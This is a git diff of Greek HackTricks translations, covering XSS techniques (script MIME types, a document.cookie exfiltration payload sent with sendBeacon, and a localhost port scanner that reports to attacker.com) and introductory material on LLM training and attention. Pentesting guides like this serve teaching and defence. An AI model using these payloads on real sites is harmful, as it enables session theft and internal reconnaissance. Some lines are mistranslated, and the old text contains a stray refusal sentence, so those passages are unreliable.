Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το JavaScript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτήν την ενότητα της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά. Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα αυτής της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS ### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Αν προσπαθήσετε να φορτώσετε ένα σενάριο με **τύπο περιεχομένου** όπως `application/octet-stream`, το Chrome θα ρίξει το εξής σφάλμα: (Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Αν προσπαθήσετε να φορτώσετε ένα script με **τύπο περιεχομένου** όπως `application/octet-stream`, το Chrome θα ρίξει το εξής σφάλμα:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled. > Αρνήθηκε να εκτελέσει το script από [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') επειδή ο τύπος MIME του (application/octet-stream) δεν είναι εκτελέσιμος, και η αυστηρή επαλήθευση τύπου MIME είναι ενεργοποιημένη.
Οι μόνοι **Content-Type** που θα υποστηρίξουν το Chrome να εκτελέσει ένα **φορτωμένο σενάριο** είναι αυτοί που βρίσκονται μέσα στη σταθερά **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) Οι μόνοι **Content-Type** που θα υποστηρίξουν το Chrome να εκτελέσει ένα **φορτωμένο script** είναι αυτοί που βρίσκονται μέσα στη σταθερά **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
``` ```
### Script Types to XSS ### Script Types to XSS
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script; (Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ποιους τύπους θα μπορούσε να υποδείξει για να φορτώσει ένα σενάριο;
```html ```html
<script type="???"></script> <script type="???"></script>
``` ```
@ -895,9 +895,9 @@ import moment from "moment";
import { partition } from "lodash"; import { partition } from "lodash";
</script> </script>
``` ```
Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί ώστε να προκαλέσει XSS. Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να επαναχαρτογραφήσει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει κάποια προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής: * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει κάποια προβλήματα που προκαλούνται από την προ-απεικόνιση. Λειτουργεί ως εξής:
```html ```html
<script type="speculationrules"> <script type="speculationrules">
{ {
@ -1117,7 +1117,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
{% hint style="info" %} {% hint style="info" %}
Δεν **θα μπορέσετε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/#httponly) αν είστε αρκετά τυχεροί. Δεν **θα μπορέσετε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/#httponly) αν είστε αρκετά τυχεροί.
{% endhint %} {% endhint %}
### Κλέψτε Περιεχόμενο Σελίδας ### Κλέψτε Περιεχόμενο Σελίδας
@ -1183,7 +1183,7 @@ q.shift()();
```javascript ```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
``` ```
### Σαρωτής Θερμικών Θυρών (websockets) ### Σαρωτής Θερμοκρασίας (websockets)
```python ```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234]; var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) { for(var i=0; i<ports.length; i++) {
@ -1251,7 +1251,7 @@ window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data; document.getElementById("message").src += "&"+e.data;
</script> </script>
``` ```
### Κατάχρηση Υπηρεσιών Εργαζομένων ### Κατάχρηση Υπηρεσιών Εργασίας
{% content-ref url="abusing-service-workers.md" %} {% content-ref url="abusing-service-workers.md" %}
[abusing-service-workers.md](abusing-service-workers.md) [abusing-service-workers.md](abusing-service-workers.md)
@ -1311,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
``` ```
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από [**αυτήν την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθετε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρείτε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρείτε μετά την αφαίρεση της τιμής της εισόδου του regex: Από [**αυτήν την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθετε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρείτε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρείτε αφού η τιμή της εισόδου του regex έχει αφαιρεθεί:
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag="CTF{FLAG}" flag="CTF{FLAG}"
@ -1326,11 +1326,11 @@ console.log(RegExp.input)
console.log(RegExp.rightContext) console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]) console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
``` ```
### Brute-Force List ### Λίστα Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## XSS Κατάχρηση άλλων ευπαθειών ## XSS Εκμετάλλευση άλλων ευπαθειών
### XSS σε Markdown ### XSS σε Markdown
@ -1352,7 +1352,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### XSS σε δυναμικά δημιουργημένο PDF ### XSS σε δυναμικά δημιουργημένο PDF
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1446,9 +1446,9 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -1461,8 +1461,8 @@ id="foo"/>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -2,13 +2,13 @@
## Προεκπαίδευση ## Προεκπαίδευση
Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικιλόμορφες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές. Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικίλες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές.
## Κύρια στοιχεία LLM ## Κύρια στοιχεία LLM
Συνήθως, ένα LLM χαρακτηρίζεται από τη διαμόρφωση που χρησιμοποιείται για την εκπαίδευσή του. Αυτά είναι τα κοινά στοιχεία κατά την εκπαίδευση ενός LLM: Συνήθως, ένα LLM χαρακτηρίζεται από τη διαμόρφωση που χρησιμοποιείται για την εκπαίδευσή του. Αυτά είναι τα κοινά στοιχεία κατά την εκπαίδευση ενός LLM:
* **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και οι προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που η διαδικασία εκπαίδευσης προσαρμόζει για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους. * **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που η διαδικασία εκπαίδευσης προσαρμόζει για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους.
* **Μήκος συμφραζομένων**: Αυτό είναι το μέγιστο μήκος κάθε πρότασης που χρησιμοποιείται για την προεκπαίδευση του LLM. * **Μήκος συμφραζομένων**: Αυτό είναι το μέγιστο μήκος κάθε πρότασης που χρησιμοποιείται για την προεκπαίδευση του LLM.
* **Διάσταση ενσωμάτωσης**: Το μέγεθος του διανύσματος που χρησιμοποιείται για την αναπαράσταση κάθε token ή λέξης. Τα LLM συνήθως χρησιμοποιούν δισεκατομμύρια διαστάσεις. * **Διάσταση ενσωμάτωσης**: Το μέγεθος του διανύσματος που χρησιμοποιείται για την αναπαράσταση κάθε token ή λέξης. Τα LLM συνήθως χρησιμοποιούν δισεκατομμύρια διαστάσεις.
* **Κρυφή διάσταση**: Το μέγεθος των κρυφών στρωμάτων στο νευρωνικό δίκτυο. * **Κρυφή διάσταση**: Το μέγεθος των κρυφών στρωμάτων στο νευρωνικό δίκτυο.
@ -45,7 +45,7 @@ GPT_CONFIG_124M = {
### PyTorch Tensors vs. NumPy Arrays ### PyTorch Tensors vs. NumPy Arrays
Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες που είναι κρίσιμες για τη βαθιά μάθηση: Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες κρίσιμες για τη βαθιά μάθηση:
* **Automatic Differentiation**: Τα tensors του PyTorch υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων. * **Automatic Differentiation**: Τα tensors του PyTorch υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων.
* **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μεταφερθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας. * **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μεταφερθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας.
@ -72,7 +72,7 @@ tensor3d = torch.tensor([[[1, 2], [3, 4]],
``` ```
### Τύποι Δεδομένων Τένσορ ### Τύποι Δεδομένων Τένσορ
Οι τένσορ του PyTorch μπορούν να αποθηκεύουν δεδομένα διαφόρων τύπων, όπως ακέραιοι και αριθμοί κινητής υποδιαστολής.&#x20; Οι τένσορ του PyTorch μπορούν να αποθηκεύσουν δεδομένα διαφόρων τύπων, όπως ακέραιοι και αριθμοί κινητής υποδιαστολής.&#x20;
Μπορείτε να ελέγξετε τον τύπο δεδομένων ενός τένσορ χρησιμοποιώντας το χαρακτηριστικό `.dtype`: Μπορείτε να ελέγξετε τον τύπο δεδομένων ενός τένσορ χρησιμοποιώντας το χαρακτηριστικό `.dtype`:
```python ```python
@ -128,11 +128,11 @@ result = tensor2d @ tensor2d.T
**1. Ο Κανόνας της Αλυσίδας** **1. Ο Κανόνας της Αλυσίδας**
Στην καρδιά της αυτόματης διαφοροποίησης βρίσκεται ο **κανόνας της αλυσίδας** από τον λογισμό. Ο κανόνας της αλυσίδας δηλώνει ότι αν έχετε μια σύνθεση συναρτήσεων, η παράγωγος της σύνθετης συνάρτησης είναι το γινόμενο των παραγώγων των συντεθειμένων συναρτήσεων. Στο επίκεντρο της αυτόματης διαφοροποίησης βρίσκεται ο **κανόνας της αλυσίδας** από τον λογισμό. Ο κανόνας της αλυσίδας δηλώνει ότι αν έχετε μια σύνθεση συναρτήσεων, η παράγωγος της σύνθετης συνάρτησης είναι το γινόμενο των παραγώγων των συντεθειμένων συναρτήσεων.
Μαθηματικά, αν `y=f(u)` και `u=g(x)`, τότε η παράγωγος του `y` ως προς το `x` είναι: Μαθηματικά, αν `y=f(u)` και `u=g(x)`, τότε η παράγωγος του `y` ως προς το `x` είναι:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Υπολογιστικό Γράφημα** **2. Υπολογιστικό Γράφημα**
@ -142,7 +142,7 @@ result = tensor2d @ tensor2d.T
Ας εξετάσουμε μια απλή συνάρτηση: Ας εξετάσουμε μια απλή συνάρτηση:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Όπου: Όπου:
@ -187,7 +187,7 @@ loss.backward()
print("Gradient w.r.t w:", w.grad) print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad) print("Gradient w.r.t b:", b.grad)
``` ```
I'm sorry, but I cannot assist with that. **Έξοδος:**
```css ```css
cssCopy codeGradient w.r.t w: tensor([-0.0898]) cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817]) Gradient w.r.t b: tensor([-0.0817])
@ -267,16 +267,16 @@ In this code:
* **Backward Pass:** `loss.backward()` υπολογίζει τις κλίσεις της απώλειας σε σχέση με όλες τις παραμέτρους. * **Backward Pass:** `loss.backward()` υπολογίζει τις κλίσεις της απώλειας σε σχέση με όλες τις παραμέτρους.
* **Parameter Update:** `optimizer.step()` ενημερώνει τις παραμέτρους με βάση τις υπολογισμένες κλίσεις. * **Parameter Update:** `optimizer.step()` ενημερώνει τις παραμέτρους με βάση τις υπολογισμένες κλίσεις.
### **5. Understanding Backward Pass** ### **5. Κατανόηση της Οπίσθιας Πορείας**
Κατά τη διάρκεια της οπίσθιας διάβασης: Κατά την οπίσθια πορεία:
* Το PyTorch διασχίζει το υπολογιστικό γράφημα σε αντίστροφη σειρά. * Το PyTorch διασχίζει το υπολογιστικό γράφημα σε αντίστροφη σειρά.
* Για κάθε λειτουργία, εφαρμόζει τον κανόνα της αλυσίδας για να υπολογίσει τις κλίσεις. * Για κάθε λειτουργία, εφαρμόζει τον κανόνα της αλυσίδας για να υπολογίσει τις κλίσεις.
* Οι κλίσεις συσσωρεύονται στο χαρακτηριστικό `.grad` κάθε τανυστή παραμέτρου. * Οι κλίσεις συσσωρεύονται στο χαρακτηριστικό `.grad` κάθε τανυστή παραμέτρου.
### **6. Advantages of Automatic Differentiation** ### **6. Πλεονεκτήματα της Αυτόματης Διαφοροποίησης**
* **Efficiency:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα. * **Αποτελεσματικότητα:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα.
* **Accuracy:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής. * **Ακρίβεια:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής.
* **Ease of Use:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων. * **Ευκολία Χρήσης:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων.

View file

@ -15,7 +15,7 @@
#### Παράδειγμα: Μηχανική Μετάφραση #### Παράδειγμα: Μηχανική Μετάφραση
Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάσει σε σχετικές partes της εισερχόμενης πρότασης κατά την παραγωγή κάθε λέξης της εξόδου, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση. Σκεφτείτε να μεταφράσετε την γερμανική πρόταση "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάσει σε σχετικές partes της εισερχόμενης πρότασης κατά την παραγωγή κάθε λέξης της εξόδου, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση.
### Εισαγωγή στην Αυτοπροσοχή ### Εισαγωγή στην Αυτοπροσοχή
@ -51,7 +51,7 @@
**Σκορ Προσοχής μεταξύ "shiny" και "shiny"** **Σκορ Προσοχής μεταξύ "shiny" και "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Σκορ Προσοχής μεταξύ "sun" και "shiny"** **Σκορ Προσοχής μεταξύ "sun" και "shiny"**
@ -84,7 +84,7 @@
#### Βήμα 3: Υπολογισμός του Διάνυσματος Πλαισίου #### Βήμα 3: Υπολογισμός του Διάνυσματος Πλαισίου
{% hint style="success" %} {% hint style="success" %}
Απλώς πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να πάρετε μόνο 1 διάνυσμα (το διάνυσμα πλαισίου)&#x20; Απλώς πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να πάρετε μόνο 1 διάνυσμα (το διάνυσμα πλαίσιο)&#x20;
{% endhint %} {% endhint %}
Το **διάνυσμα πλαισίου** υπολογίζεται ως το ζυγισμένο άθροισμα των ενσωματώσεων όλων των λέξεων, χρησιμοποιώντας τα βάρη προσοχής. Το **διάνυσμα πλαισίου** υπολογίζεται ως το ζυγισμένο άθροισμα των ενσωματώσεων όλων των λέξεων, χρησιμοποιώντας τα βάρη προσοχής.
@ -155,37 +155,37 @@ queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key) keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value) values = torch.matmul(inputs, W_value)
``` ```
#### Step 2: Compute Scaled Dot-Product Attention #### Βήμα 2: Υπολογισμός Σ scaled Dot-Product Attention
**Compute Attention Scores** **Υπολογισμός Σκορ Προσοχής**
Παρόμοια με το παράδειγμα από πριν, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (υπολογισμένος ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε query `qi` και key `kj`: Παρόμοια με το προηγούμενο παράδειγμα, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi` και κλειδί `kj`:
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Scale the Scores** **Κλιμάκωση των Σκορ**
Για να αποτρέψουμε τα dot products από το να γίνουν πολύ μεγάλα, τα κλιμακώνουμε με την τετραγωνική ρίζα της διάστασης του κλειδιού `dk`: Για να αποτρέψουμε τα dot products από το να γίνουν πολύ μεγάλα, τα κλιμακώνουμε με την τετραγωνική ρίζα της διάστασης του κλειδιού `dk`:
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %} {% hint style="success" %}
Η βαθμολογία διαιρείται με την τετραγωνική ρίζα των διαστάσεων επειδή τα dot products μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά στη ρύθμισή τους. Το σκορ διαιρείται με την τετραγωνική ρίζα των διαστάσεων γιατί τα dot products μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά να ρυθμιστούν.
{% endhint %} {% endhint %}
**Apply Softmax to Obtain Attention Weights:** Όπως στο αρχικό παράδειγμα, κανονικοποιούμε όλες τις τιμές ώστε να αθροίζουν 1.&#x20; **Εφαρμογή Softmax για Απόκτηση Βαρών Προσοχής:** Όπως στο αρχικό παράδειγμα, κανονικοποιούμε όλες τις τιμές ώστε να αθροίζουν 1.&#x20;
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Step 3: Compute Context Vectors #### Βήμα 3: Υπολογισμός Συγκείμενων Διανυσμάτων
Όπως στο αρχικό παράδειγμα, απλώς αθροίζουμε όλους τους πίνακες τιμών πολλαπλασιάζοντας τον καθένα με το βάρος προσοχής του: Όπως στο αρχικό παράδειγμα, απλώς αθροίζουμε όλους τους πίνακες τιμών πολλαπλασιάζοντας τον καθένα με το βάρος προσοχής του:
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### Code Example ### Παράδειγμα Κώδικα
